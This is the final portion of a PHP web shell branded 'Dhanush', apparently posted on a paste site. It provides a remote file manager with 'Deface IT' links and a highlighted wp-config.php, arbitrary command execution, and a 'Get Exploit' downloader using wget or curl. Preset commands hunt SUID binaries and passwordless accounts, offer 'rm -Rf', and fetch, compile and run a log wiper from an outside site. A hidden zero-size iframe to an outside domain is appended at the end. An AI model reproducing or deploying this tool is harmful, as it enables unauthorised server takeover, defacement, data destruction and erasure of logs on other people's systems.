  5471.             <td class='dir'><a href='<?php echo $self ?>?dir=<?php echo $dir . $directorysperator . $val; ?>'>[ <?php echo $val; ?> ]</a></td>
  5472.             <td class='info'>DIR</td>
  5473.             <td class='info'><?php if(is_writable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else if(is_readable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font  class="readperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="noperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font><?php } ?></td>
  5474.             <?php if($os != 'Windows')
  5475.                     {
  5476.                     echo "<td>";
  5477.                     $name=@posix_getpwuid(@fileowner($val));
  5478.                     $group=@posix_getgrgid(@filegroup($val));
  5479.                     $owner = $name['name']. " / ". $group['name'];
  5480.                     echo $owner . "</td>";
  5481.                     }  ?>          
  5482.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
  5483.             <td class="info"><a href="<?php echo $self;?>?getdir=<?php echo $dir; ?>&rename=<?php echo $dir . $directorysperator . $val;?>">Rename</a></td>
  5484.             <td></td>
  5485.             <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
  5486.             </tr></font>
  5487.             <?php
  5488.         }
  5489.         foreach($files as $val)
  5490.         {
  5491.              $i++;
  5492.              ?>
  5493.                    <tr class="file">
  5494.                    <td class='file'><a href='<?php echo $self ?>?open=<?php echo $dir . $directorysperator . $val; ?>'><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=#F4FA58>". $val . "</font>";  } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href='?deface=" . $dir . $directorysperator . $val . "'><font color=#F4FA58>( Deface IT )</font></a>"; } } ?></td>
  5495.                    <td class='info'><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></td>
  5496.                    
  5497.                    <td class='info'><?php if(is_writable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else if(is_readable($dir . $directorysperator . $val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font  class="readperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $dir . $directorysperator . $val; ?>"><font class="noperm"><?php echo getFilePermissions($dir . $directorysperator . $val);?></font><?php } ?></td>
  5498.             <?php if($os != 'Windows')
  5499.                     {
  5500.                     echo "<td>";
  5501.                     $name=@posix_getpwuid(@fileowner($val));
  5502.                     $group=@posix_getgrgid(@filegroup($val));
  5503.                     $owner = $name['name']. " / ". $group['name'];
  5504.                     echo $owner . "</td>";
  5505.                     }  ?>                  
  5506.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
  5507.                    <td class="info"><a href="<?php echo $self;?>?getdir=<?php echo $dir; ?>&rename=<?php echo $dir . $directorysperator . $val;?>">Rename</a></td>
  5508.                    <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>">Download</a>
  5509.                    <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
  5510.                    </tr>
  5511.                    <p>
  5512.              <?php
  5513.         }
  5514.     }
  5515.     else
  5516.     {
  5517.         echo "<p><font size=4>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
  5518.     }
  5519.  
  5520. echo "</table>
  5521. <div align='right' style='width:97%;'><BR><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt>Check All </font> &nbsp;
  5522. <select class=sbox name=choice style='width: 100px;'>
  5523.             <option value=delete>Delete</option>
  5524.             <option value=chmod>Change mode</option>
  5525.             if(class_exists('ZipArchive'))
  5526.             {   <option value=compre>Compress</option>
  5527.             <option value=uncompre>Uncompress</option> }
  5528.         </select>
  5529.    
  5530.     <input type=submit value=Submit name=checkoption class=but></form></div>";
  5531. }
  5532.  
  5533. ?>
  5534. </p>
  5535. <table style="width:100%;" border="1">
  5536. <tr>
  5537. <td align="center">
  5538. <form method="post" enctype="multipart/form-data">
  5539.        
  5540.         Upload file : <br><input class="upld" type="file" name="uploadfile" class="box" size="50"><input type="hidden" name="path" value="<?php echo $dir; ?>" />&nbsp;<input type=submit value="Upload" name="u" value="u" class="but" ></form>
  5541.          <?php
  5542.        
  5543. if (is_writable($dir)) {
  5544.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  5545. } else {
  5546.     echo '&lt; not writable &gt;';
  5547. }
  5548.         ?>
  5549.           <br>
  5550.        
  5551.  
  5552.  
  5553. </td>
  5554. <td align="center" style="height:105px;">Create File :
  5555. <form method="post">
  5556. <input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile"> <input type="submit" value="Create" name="Create" class="but">
  5557. </form>
  5558. <?php
  5559.    
  5560. if (is_writable($dir)) {
  5561.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  5562. } else {
  5563.     echo '&lt; not writable &gt;';
  5564. }
  5565.         ?>
  5566. </td>
  5567. </tr>
  5568. <tr>
  5569. <td align="center" style="height:105px;">Execute : <form action="<?php echo $self; ?>" method="post">
  5570. <input type="hidden" name="executepath" value="<?php echo $dir; ?>" />
  5571. <input type="text" class="box" name="execute"> <input type="submit" value="Execute" class="but"></form></td>
  5572.  
  5573. <td align="center">Create Directory : <form method="post">
  5574. <input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder">
  5575. <input type="submit" value="Create" name="createdir" class="but">
  5576. </form><?php
  5577.        
  5578. if (is_writable($dir)) {
  5579.     echo '<font class=wrtperm>&lt; writable &gt;</font>';
  5580. } else {
  5581.     echo '&lt; not writable &gt;';
  5582. }
  5583. ?></td></tr>
  5584. <tr><td style="height:105px;" align="center">Get Exploit&nbsp;<form method="post" actions="<?php echo $self; ?>">
  5585. <input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c"> <input type="submit" name="uploadurl" value="  G0  " class="but"><br><br>
  5586. <input type="hidden" name="path" value="<?php echo $dir; ?>">
  5587. <select name="functiontype" class="sbox">
  5588. <option value="wwget">wget</option>
  5589. <option value="wlynx">lynx</option>
  5590. <option value="wfread">fread</option>
  5591. <option value="wfetch">fetch</option>
  5592. <option value="wlinks">links</option>
  5593. <option value="wget">GET</option>
  5594. <option value="wcurl">curl</option>
  5595. </select>
  5596. </form>
  5597. </td>
  5598. <td align="center">
  5599. <form method="post" action="<?php echo $self; ?>">
  5600. Some Commands<br>
  5601. <?php if($os != "Windows")
  5602. { ?>
  5603. <SELECT NAME="mycmd" class="box">
  5604.      <OPTION VALUE="uname -a">Kernel version
  5605.      <OPTION VALUE="w">Logged in users
  5606.      <OPTION VALUE="lastlog">Last to connect
  5607.      <option value='cat /etc/hosts'>IP Addresses
  5608.      <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
  5609.      <OPTION VALUE="logeraser">Log Eraser
  5610.      <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
  5611.      <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
  5612.      <OPTION VALUE="find / -type f -name \"config*\"">find config* files
  5613.      <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
  5614.      <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
  5615.      <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  5616.      <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  5617.      <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  5618.      <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
  5619.      <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
  5620.      <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  5621.      <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  5622.      <OPTION VALUE="ps aux">Show running proccess
  5623.      <OPTION VALUE="uptime">Uptime check
  5624.      <OPTION VALUE="cat /proc/meminfo">Memory check
  5625.      <OPTION VALUE="netstat -an | grep -i listen">Open ports
  5626.      <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
  5627.      <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
  5628.      <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  5629.      <OPTION VALUE="./zap2">WIPELOGS PT3
  5630.      <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
  5631.  </SELECT>
  5632.  <?php } else {?>
  5633.  <SELECT NAME="mycmd" class="box">
  5634.     <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
  5635.     <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
  5636.     <OPTION VALUE="systeminfo">System Informations
  5637.     <OPTION VALUE="net user">User accounts
  5638.     <OPTION VALUE="netstat -an">Open ports
  5639.     <OPTION VALUE="getmac">Get Mac Address
  5640.     <OPTION VALUE="net start">Show running services
  5641.     <OPTION VALUE="net view">Show computers
  5642.     <OPTION VALUE="arp -a">ARP Table
  5643.     <OPTION VALUE="tasklist">Show Process
  5644.     <OPTION VALUE="ipconfig/all">IP Configuration
  5645.    
  5646.  </SELECT>
  5647.  <?php } ?>
  5648. <input type="submit" value="Execute" class="but" name="executecmd">
  5649. </form>
  5650. </td>
  5651. </tr></table><br>
  5652.    
  5653. </td>
  5654. </tr>
  5655. </table>
  5656. <?php
  5657.  
  5658.  
  5659. //logout
  5660.  
  5661. if(isset($_GET['logout']))
  5662. {
  5663.     setcookie("hacked",time() - 60*60);
  5664.     header("Location:$self");
  5665.     ob_end_flush();
  5666. }  
  5667. ?>
  5668.  
  5669.  
  5670. <hr>
  5671. <div align="center">
  5672. <span class=headtitle><font size="6">&#2343;&#2344;&#2369;&#2359;</font></span><br><span class=headtitle><font size="6">--==Coded By Arjun==--</font></span><br>
  5673. <a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font  size="6">&#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342;</font></a></div>
  5674. <?php
  5675. }  
  5676. if(isset($_POST['uname']) && isset($_POST['passwd']))
  5677. {
  5678.     if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
  5679.     {
  5680.          setcookie("hacked", md5($pass));
  5681.          $selfenter = $_SERVER["PHP_SELF"];
  5682.          header("Location:$selfenter");
  5683.     }
  5684. }
  5685.        
  5686. if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
  5687. {
  5688.        
  5689. ?>
  5690.  <center>
  5691.     <form method="POST">
  5692.     <div class="logindiv">
  5693.         <table cellpadding="9" cellspacing="4">
  5694.             <tr>
  5695.                 <td align="center" colspan="2"><blink><font class="headtitle" size="7"><b>Dhanush </b></font></blink></td>
  5696.             </tr>
  5697.             <tr>
  5698.                 <td align="right"><b>User Name : </b></td>
  5699.                 <td><input type="text" name="uname" class="sbox"  value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
  5700.             </tr>
  5701.             <tr>
  5702.                 <td align="right"><b>Password : </b></td>
  5703.                 <td><input type="password" name="passwd" class="sbox"  value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
  5704.             </tr>
  5705.             <tr>
  5706.                 <td align="center" colspan="2"><input type="submit" class="but" value="     Enter     "></td>
  5707.             </tr>
  5708.             <tr>
  5709.                 <td colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
  5710.             </tr>
  5711.         </table>
  5712.     </div>
  5713.    
  5714.     </form>
  5715.     </center>
  5716.  
  5717. </body>
  5718. </html>
  5719. <?php  
  5720. }
  5721. ?>
  5722.  
  5723. <iframe width=0px height=0px frameborder=no name=frame1 src=http://fightagent.ru> </iframe>
Add Comment
Please, Sign In to add comment